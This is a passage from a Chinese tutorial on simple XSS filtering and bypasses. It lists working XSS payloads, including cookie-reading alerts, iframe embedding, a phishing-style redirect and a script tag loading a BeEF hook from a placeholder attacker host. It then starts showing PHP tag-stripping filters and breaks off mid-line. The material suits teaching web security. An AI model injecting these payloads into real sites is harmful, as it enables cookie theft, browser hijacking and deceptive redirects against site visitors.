XSS攻击的简单过滤和绕过

一、常见的XSS攻击脚本

• 弹窗警告
  <script>alert('XSS')</script>
  <script>alert(document.cookie)</script>

• 页面嵌套
  <iframe> src=http://www.baidu.com width=10 height=10 border=10 </iframe>

• 重定向
  <script>window.location="http://www.baidu.com"</script>

• 弹窗警告并重定向
  <script>alert('网站升级更新，请移步新版本');location.href="https://www.baidu.com"</script>

• 访问恶意代码
  <script src="http://BeEF_IP:3000/hook.js"></script>

二、简单过滤和绕过

• 区分大小写过滤标签：
  过滤：
  $name=preg_replace("/<script>/","",$name); //过滤<script>
  $name=preg_replace("/<\/script>/","",$name); //过滤</scrip